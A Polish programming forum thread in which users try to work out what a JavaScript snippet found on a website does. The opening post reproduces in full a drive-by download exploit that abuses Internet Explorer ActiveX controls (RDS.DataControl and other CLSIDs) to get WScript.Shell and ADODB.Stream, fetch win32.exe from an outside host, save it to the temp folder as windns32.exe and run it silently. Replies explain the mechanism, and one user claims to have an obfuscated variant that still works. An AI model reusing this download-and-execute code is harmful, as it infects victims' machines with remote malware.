[JS] co za kod?? C.D.

0

Kontynuacja tematu "co za kod???" który z wiadomych przyczyn znajduje się teraz w koszu :-D
http://4programmers.net/Forum/viewtopic.php?id=98544

więc ostatecznie prawdziwy kod na tej stronie wygląda tak:

function Log(m) {
	var log = document.createElement('p');
	log.innerHTML = m;
}

function CreateO(o, n) {
	var r = null;
	try {
		eval('r = o.CreateObject(n)')
	}
	catch(e){};
	if (!r) {
		try {
			eval('r = o.CreateObject(n, "")')
		}
		catch(e){};
	}
	if (!r) {
		try {
			eval('r = o.CreateObject(n, "", "")')
		}
		catch(e){};
	}
	if (!r) {
		try {
			eval('r = o.GetObject("", n)')
		}
		catch(e){}
	}
	if (!r) {
		try {
			eval('r = o.GetObject(n, "")')
		}
		catch(e){};
	}
	if (!r) {
		try {
			eval('r = o.GetObject(n)')
		}
		catch(e){};
	};
	return(r);
}

function Go(a) {
	Log(' ');
	var s = CreateO(a, "WScript.Shell");
	var o = CreateO(a, "ADODB.Stream");
	var e = s.Environment("Process");
	Log(' ');
	var url = "http://www.brasilmotard.com/win32.exe";
	var xml = null;
	var bin = e.Item("TEMP") + "windns32.exe";
	var dat;
	try {
		xml=new XMLHttpRequest();
	}
	catch(e) {
		 try {
			xml = new ActiveXObject("Microsoft.XMLHTTP");
		}
		catch(e) {
			xml = new ActiveXObject("MSXML2.ServerXMLHTTP");
		}
	}
	if (!xml) return(0);
	Log(' ');
	xml.open("GET", url, false);
	xml.send(null);
	dat = xml.responseBody;
	Log(' ');
	o.Type = 1;
	o.Mode = 3;
	o.Open();
	o.Write(dat);
	o.SaveToFile(bin, 2);
	Log(' ');
	s.Run(bin,0);
}

function Exploit() {
	var i = 0;
	var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', null);
	while (t[i]) {
		var a = null;
		if (t[i].substring(0,1) == '{') {
			a = document.createElement("object");
			a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
		}
		else {
			try {
				a = new ActiveXObject(t[i]);
			}
			catch(e){};
		}
		if (a) {
			try {
				var b = CreateO(a, "WScript.Shell");
				if (b) {
					Log(' ');
					Go(a);
					return(0);
				}
			}
			catch(e){}
		}
		i++;
	}
	Log(' ');
}

Exploit();

jednak nie napiszę, co takiego robi ten kod, bo za bardzo nie wiem,
ale sam bym się chętnie dowiedział, więc może ktoś spróbuje chociaż trochę wytłumaczyć??

0

Jak na moj gust to skrypt sciaga poprzez pare sztuczek plik http://www.brasilmotard.com/win32.exe, zapisuje w tempie jako windns32.exe a pozniej uruchamia. Nie wiem tylko po co jest kilka classid i co ten plik robi - pewnie jakis 'reklamodawca' :)

Swoja droga jestem ciekaw czy rzeczywiscie da sie w ten sposob plik sciagnac i uruchomic...

pozdrawiam
johny

0

funkcja CreateO wygląda jakby była napisana przez kogoś komu się nie chciało sprawdzać jakich arg przyjmuje funkcja to dał wszystkie warianty ...

ogólnie się nie ma co interesować tym kodem bo nie wiem gdzie on jeszcze działał ale wiem że u mnie już na pewno nie działa

ogólnie tworzy on element <object> z parametrem clsid z listy podanej, co to za clsidy można zobaczeć sobie w rejestrze w kluczu HKEY_CLASSES_ROOT\CLSID i tak na przykład {BD96C556-65A3-11D0-983A-00C04FC29E36} to RDS.DataControl i nie wiem co to jest ale pewnie umożliwia dostęp do dysku czy coś w tym stylu (w podobny sposób przez kontrolki ActiveX można było kiedyś na stronce na przykład umieścić okienko painta, notatnika czy czegokolwiek), takie coś działało kiedyś na IE

a parę clsidów jest pewnie podanych po to że pewnie na każdy system i może konfigurację niektórych może tam nie być a jak widać skrypt próbuje je wszystkie po kolei aż do sukcesu

a mimo wszystko nie jestem pewien czy ten kod powinien być publikowany w takiej formie na tym forum

0

W funkcji CreateO() jest raczej 6 wiariantów funkcji tworzącej obiekt w zależności od przeglądarki
i myślę, że w Windowsie bez żadnego aktywnego anti-wir/spyware/adwer-a na IE5 kod raczej działa

0

Mam podobny kod który działa do dziś na przeglądarkach IE. Jest troche mniej skomplikowany ;-P
I troszke zakodowany gdyż bez tego zostaje zablokowany.

0

Do dziś? Masz na myśli IE7? Bo jak tak, to wykryłeś drugą dziurę w tej przeglądarce :P. Przypominam, że IE7 jest oficjalną aktualną wersją IE.

1 użytkowników online, w tym zalogowanych: 0, gości: 1